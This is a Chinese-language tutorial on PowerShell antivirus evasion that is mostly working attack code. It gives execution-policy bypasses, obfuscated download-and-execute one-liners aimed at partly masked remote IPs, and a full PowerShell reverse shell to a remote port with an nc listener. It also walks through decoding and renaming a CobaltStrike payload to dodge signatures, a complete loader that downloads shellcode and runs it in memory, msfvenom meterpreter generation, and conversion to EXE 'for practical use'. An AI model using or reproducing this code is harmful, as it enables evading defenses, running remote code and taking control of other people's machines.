Powershell免杀从入门到实践
字数 1192 2025-08-15 21:33:42
PowerShell免杀技术从入门到实践
前言
PowerShell在对抗杀毒软件(Anti-Virus)方面具有强大的功能和灵活性。本文档将详细介绍PowerShell免杀的各种技术和方法,包括执行策略绕过、混淆技术、CobaltStrike payload分析、自定义加载器开发以及PowerShell转EXE等技术。
一、绕过执行策略
PowerShell的执行策略是一种安全机制,可以通过以下方法绕过:
1. 落地文件执行
powershell -ExecutionPolicy bypass -File a.ps1
2. 不落地执行(内存加载)
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://xxx.xxx.xxx/a')"
3. 混合使用技术
echo Invoke-Expression(new-object net.webclient).downloadstring('http://xxx.xxx.xxx/a') | powershell -
或
powershell -c "IEX(New-Object Net.WebClient).DownloadString('d://a')"
二、混淆技术
1. 处理PowerShell调用
使用环境变量截取:
%psmodulepath:~24,10%
2. 处理IEX(Invoke-Expression)
设置别名:
set-alias -name cseroad -value Invoke-Expression;cseroad(New-Object Net.WebClient).DownloadString('http://xxx.xxx.xxx/a')
3. 处理DownloadString
使用转义符:
"Down`l`oadString"
4. 处理HTTP
变量拆分:
$a='((new-object net.webclient).downloadstring(''ht';$b='tp://109.xx.xx.xx/a''))';IEX ($a+$b)
或使用中文单引号:
ht'+'tp
5. 综合混淆示例
cmd /c "set p1=power&& set p2=shell&& cmd /c echo (New-Object Net.WebClient).DownloadString("http://109.xx.xx/a") ^|%p1%%p2% -"
或
echo Invoke-Expression (New-Object "NeT.WebClient")."Down`l`oadString"('h'+'ttp://106.xx.xx.xx/a') | powershell -
或
chcp 1200 & powershell -c "IEX(New-Object Net.WebClient)."DownloadString"('ht'+'tp://xx.xx.xx/a')"
6. 反弹PowerShell环境技巧
当cmd环境检测严格时,可以先反弹PowerShell环境:
powershell -c "$client = New-Object Net.Sockets.TCPClient('106.xxx.xxx.xxx',9090);$stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback=(iex $data 2>&1 | Out-String );$sendata =$sendback+'PS >';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendata);$leng=$sendbyte.Length;$stream.Write($sendbyte,0,$leng);$stream.Flush()};$client.Close()"
服务端使用nc监听:
nc -lvp 9090
三、分析CobaltStrike PowerShell Payload
1. 典型CobaltStrike payload结构
$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("xxx"));
IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();
2. 解码payload
将IEX替换为echo查看源码:
powershell -ExecutionPolicy bypass -File aaaaa.ps1 >> old.txt
3. 典型payload结构分析
func_get_delegate_type:获取委托类型func_get_proc_address:获取函数地址- Base64解码函数,包含XOR异或操作
- 内存分配和有效负载复制
- 架构判断和执行
4. 提取bin文件
$enc=[System.Convert]::FromBase64String('base64编码字符串')
for ($x = 0; $x -lt $enc.Count; $x++) { $enc[$x] = $enc[$x] -bxor 35}
$infile = [System.IO.File]::WriteAllBytes("new.bin",$enc)
5. 修改为读取本地bin文件
[Byte[]]$var_code = [System.IO.File]::ReadAllBytes('new.bin')
6. 特征修改
- 重命名函数:
func_get_delegate_type→func_get_delegate_type_new - 重命名变量:
$DoIt→$aaaa - 混淆关键函数:
IEX→IEX,Invoke→Inv'+'oke` - 重命名变量:
$var_code→$acode
四、PowerShell加载器开发
1. 远程加载shellcode
Set-StrictMode -Version 2
function func_get_delegate_type_new {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
[Parameter(Position = 1)] [Type] $var_return_type = [Void]
)
$var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')
$var_type_builder.DefineMethod('Inv'+'oke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')
return $var_type_builder.CreateType()
}
function func_get_proc_address_new {
Param ($var_module, $var_procedure)
$var_unsafe_native_methods = [AppDomain]::CurrentDomain.GetAssemblies()
$var_unsafe_native_methods_news = ($var_unsafe_native_methods | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
$var_gpa = $var_unsafe_native_methods_news.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods_news.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
}
If ([IntPtr]::size -eq 8) {
[Byte[]]$acode = (New-Object Net.WebClient)."Down`l`oadData"($args[0])
$var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address_new kernel32.dll VirtualAlloc), (func_get_delegate_type_new @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
$var_buffer = $var_va.Invoke([IntPtr]::Zero, $acode.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($acode, 0, $var_buffer, $acode.length)
$var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type_new @([IntPtr]) ([Void])))
$var_runme.Invoke([IntPtr]::Zero)
}
2. 使用方法
生成payload.bin(注意勾选x64),放置在远程服务器上:
powershell -ExecutionPolicy bypass -File old.ps1 http://106.xx.xx.xx/payload.bin
3. 兼容Metasploit
生成raw格式payload:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.211.55.26 LPORT=4444 -f raw -e x86/shikata_ga_nai -i 5 -o /var/www/html/shell.bin
加载执行:
powershell -ExecutionPolicy bypass -File a.ps1 http://10.211.55.26/shell.bin
五、PowerShell转EXE
使用Win-PS2EXE项目将加载器转换为EXE文件:
powershell.exe -ExecutionPolicy bypass -command "&'.\ps2exe.ps1' -inputFile 'old.ps1' -outputFile 'aaa.exe'"
六、总结
- 利用cmd和PowerShell语法混淆实现bypass
- 分析CobaltStrike PowerShell payload获得自定义加载器
- 开发远程加载shellcode的PowerShell加载器
- 使用Win-PS2EXE将脚本转换为EXE文件,便于实际利用